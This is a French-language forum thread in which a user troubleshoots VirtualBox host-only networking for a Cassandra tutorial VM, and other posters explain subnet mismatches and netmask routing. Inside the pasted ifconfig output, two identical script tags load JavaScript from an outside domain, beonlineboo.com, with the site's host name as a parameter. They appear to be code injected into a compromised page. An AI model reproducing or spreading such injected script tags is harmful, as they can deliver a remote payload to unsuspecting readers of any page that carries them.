l'asile.fr


Aide tutoriel Cassandra

Comme dit sur la tribune, je cherche quelqu'un dont les connaissances en linux et/ou administration système puisse me dépanner.

Pour le boulot, je cherche à me former sur Cassandra (base de données répartie de chez Apache), j'ai trouvé 2-3 tutos qui ont l'air sympa mais un peu longs. Donc avant tout, je voudrais tester les tutos "rapides" proposés sur le site officiel.

Problème: ces tutos reposent sur le fait qu'on ait préalablement installé Cassandra dans une machine virtuelle.
Solution: ils expliquent comment faire pour VirtualBox ou VMWare. Comme je suis sur Ubuntu 14.04, j'ai virtualbox vite fait. La page dédiée à l'installation:
url : http://planetcassandra.org/install-cassandra-ova-on-virtualbox/

Problème numéro 2: j'ai bien réussi à importer la machine virtuelle, j'ai bien ajouté une interface de réseau "host-only" avec tous les paramètres qui vont bien. Quand la machine virtuelle démarre, elle me dit bien qu'elle a obtenu l'IP 10.0.0.2 ... Mais quand j'essaie d'accéder à cette ip depuis le navigateur web de mon hôte (testé firefox et chromium, même résultat), la page ne se charge jamais et je finis par chopper un timeout

A l'intérieur de la VM, c'est un système nommé "C*" ou "c-star" selon les endroits, et ça semble être une variante de archlinux. Comme je suis une quiche en administration système (*) tout ce que j'ai su faire c'est un ping sur google (via URL d'abord, puis l'IP de leur DNS en dur ensuite, parce qu'elle est facile à retenir et rarement filtrée par les firewall etc):
root@cstar $ ping www.google.com
>ping: unknown host www.google.com

root@cstar $ ping 8.8.8.8
>connect: Network is unreachable

Du coup je me dit que j'ai pas de réseau du tout, et je regarde (là je suis au max de mes capacités) le ifconfig:
root@cstar $ ifconfig
>eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
> inet 10.0.0.2 netmask 255.255.255.0 broadcast 10.0.0.255
> inet6 fe80::a00:27ff:fef2:8b2a prefixlen 64 scopid 0x20<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><link>
> ether 08:00:27:f2:8b:2a txqueulen 1000 (Ethernet)
> RX packets 641 bytes 181131 (176.8 KiB)
> RX errors 0 dropped 0 overruns 0 frame 0
> TX packets 1046 bytes 131429 (128.3 KiB)
> TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
>
>lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
> inet 127.0.0.1 netmask 255.0.0.0
> inet6 ::1 prefixlen 128 scopeid 0x10<host>
> loop txqueuelen 0 (Local Loopback)
> RX packets 36 bytes 2768 (2.7 KiB)
> RX errors 0 dropped 0 overruns 0 frame 0
> TX packets 36 bytes 2768 (2.7KiB)
> TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Donc si je lis bien, j'ai bien une interface réseau (virtuelle, puisqu'on est dans une VM) eth0 qui est "UP" donc prête à être utilisée et qui a bien une IP (qui devrait lui avoir été passée par le serveur DHCP virtuel configuré plus haut)...
Autre truc : le résultat du ifconfig sur ma machine hôte (selegore) montre bien l'interface vers le réseau virtuel vboxnet0:
plantmann@selegore $ ifconfig
>eth0 Link encap:Ethernet HWaddr 00:90:f5:ef:dc:35
> UP BROADCAST MULTICAST MTU:1500 Metric:1
> RX packets:0 errors:0 dropped:0 overruns:0 frame:0
> TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
> collisions:0 txqueuelen:1000
> RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
>
>lo Link encap:Local Loopback
> inet addr:127.0.0.1 Mask:255.0.0.0
> inet6 addr: ::1/128 Scope:Host
> UP LOOPBACK RUNNING MTU:65536 Metric:1
> RX packets:91255 errors:0 dropped:0 overruns:0 frame:0
> TX packets:91255 errors:0 dropped:0 overruns:0 carrier:0
> collisions:0 txqueuelen:0
> RX bytes:8305981 (8.3 MB) TX bytes:8305981 (8.3 MB)
>
>vboxnet0 Link encap:Ethernet HWaddr 0a:00:27:00:00:00
> inet addr:192.168.56.1 Bcast:192.168.56.255 Mask:255.255.255.0
> inet6 addr: fe80::800:27ff:fe00:0/64 Scope:Link
> UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
> RX packets:0 errors:0 dropped:0 overruns:0 frame:0
> TX packets:930 errors:0 dropped:0 overruns:0 carrier:0
> collisions:0 txqueuelen:1000
> RX bytes:0 (0.0 B) TX bytes:216376 (216.3 KB)
>
>wlan0 Link encap:Ethernet HWaddr 0c:8b:fd:81:0a:e7
> inet addr:192.168.1.19 Bcast:192.168.1.255 Mask:255.255.255.0
> inet6 addr: fe80::e8b:fdff:fe81:ae7/64 Scope:Link
> inet6 addr: 2a01:e34:eddb:c160:941d:8531:c4b1:aeba/64 Scope:Global
> inet6 addr: 2a01:e34:eddb:c160:344a:53e7:38a9:d941/64 Scope:Global
> inet6 addr: 2a01:e34:eddb:c160:e8b:fdff:fe81:ae7/64 Scope:Global
> UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
> RX packets:841994 errors:0 dropped:0 overruns:0 frame:0
> TX packets:586146 errors:0 dropped:0 overruns:0 carrier:0
> collisions:0 txqueuelen:1000
> RX bytes:979142320 (979.1 MB) TX bytes:80482992 (80.4 MB)

Mes capacités d'analyses et d'investigation sur le sujet ne vont pas plus loin (et déjà là, j'ai dû gratter dans mes souvenirs d'étudiant, c'est à dire 10 ans en arrière, pour me souvenir de "ifconfig").

J'ai bien essayé google, mais je comprends rien aux réponses que je trouve... La seule chose que j'ai peut-être identifié, c'est le fait que ma machine hôte soit en wifi puisse poser problème (encore que je ne comprends pas bien pourquoi, puisque virtualbox est censé créer un réseau filaire virtuel entre la machine hôte et la machine hébergée, donc on se fout théoriquement que ma connexion au net soit wifi et pas filaire, non? dans l'absolu, je pourrais n'avoir aucune connexion au net ou à aucun autre réseau depuis ma machine hôte, ça devrait pas l'empêcher de discuter avec la machine hébergée, si?).

Bref, si quelqu'un peut m'aider un peu avec ça, ce serait gentil (l'autre option étant d'installer une VM toute neuve basée sur Ubuntu, puis d'y déployer Cassandra et ce qu'il faut pour avoir une conf sensiblement identique pour faire les tutos...)

(*) ma vision habituelle de l'administration système en général et réseau plus particulièrement étant:
1) je branche le câble ou je choisis le bon réseau wifi (avec ke mot de passe) et ça marche tout seul
OU (échec de la solution 1 ou instruction particulière)
2) j'appelle l'administrateur système/réseau du coin


Dernière modification le 22/12/14 à 00:07 par plantmann
lundi
22 decembre 2014 à 00:01
 
 

j'ai bien ajouté une interface de réseau "host-only" .

veut dire que le réseau de la VM est privé à ton host, c'est en circuit fermé, pas de routage externe, il est le seul à la voir. donc c'est logique.

root@cstar $ ifconfig
>eth0: flags=4163 mtu 1500
> inet 10.0.0.2 netmask 255.255.255.0 broadcast 10.0.0.255

> RX packets 641 bytes 181131 (176.8 KiB)
> TX packets 1046 bytes 131429 (128.3 KiB)

il reçoit et envois

10.0.0.2 est l'ip de ta VM dans son réseau privé virtuel entre toi et elle seulement.
et à l'autre bout:
>vboxnet0 Link encap:Ethernet HWaddr 0a:00:27:00:00:00
> inet addr:192.168.56.1 Bcast:192.168.56.255 Mask:255.255.255.0

> RX packets:0 errors:0 dropped:0 overruns:0 frame:0
> TX packets:930 errors:0 dropped:0 overruns:0 carrier:0

sur ton host tu est sur un réseau complètement différent...
qui envoie mais ne reçoit rien.

donc c'est virtualbox qui merde... vboxnet0 devrait être en 10.0.0.1 enfin si j'ai bien compris.
c'est pour ça que j'utilise vmware. j'ai jamais ce problème.

il faut peut-être simplement relancer l'interface réseau,
sudo ifconfig vboxnet0 down
sudo ifconfig vboxnet0 up

enfin il devrait le faire lui-même...

pas ma spécialité non plus.


lundi
22 decembre 2014 à 07:01
 
 

je tenterai arrivé au boulot.
ce serait cool que tu donnes des nouvelles de ta classe de winners :)


lundi
22 decembre 2014 à 07:07
 
 

Merci pour les réponses, je teste ça un peu plus tard dans la journée (là j'ai pas le temps, je voulais juste voir s'il y avait eu des gens inspirés par mon problème)
Je te raconterai ma classe de winners, mais en quelques mots: c'est galère (pour eux comme pour moi) et le groupe d'après s'annonce pire : ils m'ont été annoncés comme étant "plus hardware"... d'après mon collègue qui les a vu une journée, c'est que des administrateurs système et/ou réseau qui savent pas programmer 1 ligne hors script bash/shell... ça va être fun, vu que plus de 50% de la formation c'est de la mise en application à coder une appli en Saas... le groupe 1 est déjà en panique sur du Java EE de base, là je sais pas comment on va faire...


lundi
22 decembre 2014 à 09:46
 
 

bon j'ai trouvé, c'est effectivement ce que je disais, mais c'est pas la faute de virtualbox, mais du tacheron qui a fait le tutorial.
il donne la page de configuration du dhcp, mais pas du host:

imgur.com/uQdTljj


normalement tu as juste à renseigner l'ip V4 de la carte, et tu es libre de choisir sur la plage libre 10.0.0.11~254


Dernière modification le 22/12/14 à 10:12 par Akshell
lundi
22 decembre 2014 à 10:09
 
 


lundi
22 decembre 2014 à 10:25
 
 

J'ai la même sensation que devant le film Wall Street, de voir qu'un truc génial vient de se produire mais ne pas savoir quoi.


lundi
22 decembre 2014 à 11:05
 
 

non même pas, on est plus dans un dumber et dumber like ou quelqu'un oubli de mettre des piles pour allumer une lampe torche.


lundi
22 decembre 2014 à 11:34
 
 

Repiemink a écrit

Merci Akshell!
Je savais que j'allais avoir une réponse claire et compréhensible en moins de 24h ici alors que j'aurai mis 72h à le faire moi-même et sans vraiment comprendre...
Cela dit, je comprends pas exactement pourquoi le fait de changer l'ip du host de "192.168.56.1" en "10.0.0.11" change quoi que ce soit? Des histoires de workgroup ou une connerie dans ce style? Je croyais que c'était uniquement chez 'crosoft ça, non?


lundi
22 decembre 2014 à 20:40
 
 

Quand tu envois un message, genre une requête http sur 10.0.0.1, il a besoin de savoir sur qu'elle carte l'envoyé.
il prend l'ip de chaque carte, applique son masque, applique le masque sur l'ip de destination, compare, si c'est pareil, c'est que ça doit routé, il envoie.
Sinon il cherche une passerelle qui aura un masque validant l'ip. Tu peux voir celles définis avec "route".

Avec un masque à 255.255.255.0 sur ton IP en 192.168.56.1 aucune chance que ça passe, donc il va voir ailleurs, a priori par la passerelle direction Internet.
tu peux te dire que tu vas changer le masque pour être assez large pour attraper toutes les requêtes, ici tu n'as pas trop le choix tellement les réseaux sont différents : 0.0.0.0 ... mais là tu attrapes tout, et donc plus d'internet.

Avec une VM avec une IP en 192.168.18.xxx tu aurais pu utiliser 255.255.0.0... mais là ça aurait rentré en conflit avec le réseau de ta carte wifi, et donc probablement avec la passerelle qui doit se trouver sur le même réseau, sûrement 192.168.1.254, qu'il aurait aussi routé sur la VM...

après tu pouvais laisser tel quel et ajouter un routage spécifique pour 10.0.0.x sur ton hôte. Ça je ne sais pas faire, bien que ça ne doive pas être bien compliqué. Mais mettre une config cohérente dans virtualbox reste plus simple.


lundi
22 decembre 2014 à 22:09
 
 

Putain, j'ai tout lu ta réponse d'un coup, sans revenir en arrière, ni rien et J'AI TOUT COMPRIS DU PREMIER COUP FFS!
*DING! plantmann gagne un level en admin réseau DING!*
Merci pour cette explication! J'avais jamais trop compris à quoi servait le masque réseau, mais là avec un exemple (ou plutôt un contre-exemple) c'est tout clair dans ma tête.
Si un jour tu passes dans le sud (Montpellier) ou (dieu m'en garde) que je me perds à nouveau dans le grand nord parisien, je te paye un coup à boire!

J'en profites pour lâcher 2-3 liens que j'ai trouvé au fur-et-à-mesure de mes recherches:
Des références de commandes de base UNIX (problème: trouver les commandes qui servent dans tel ou tel cas... pas toujours évident, surtout que certaines commandes ne fonctionnent pas sur certaines distrib...)
url : http://www.digilife.be/quickreferences/QRC/LINUX%20Admin%20Quick%20Reference.pdf
url : http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/
url : http://files.fosswire.com/2007/08/fwunixref.pdf
Une explication des différents types de réseaux entre une machine hôte et la/les machine(s) virtuelle(s) qu'elle héberge:
url : http://www.it-connect.fr/virtualisation-les-types-de-connexion-au-reseau/


mardi
23 decembre 2014 à 00:33
 
 

#12

Cassandra, Cassandra.. ça me dit quelque chose..

ha oui

Spoiler : afficher/masquer


Dernière modification le 23/12/14 à 02:19 par Pisto
mardi
23 decembre 2014 à 02:16
 
 

JiHeM
#13 chouchou de Bruxelles

plantmann a écrit
J'avais jamais trop compris à quoi servait le masque réseau...

Et après ça se moque des mecs du hardware qui savent pas coder :p


mardi
23 decembre 2014 à 09:29
 
 


Répondre au sujet

Vous devez être identifié pour participer à ce topic.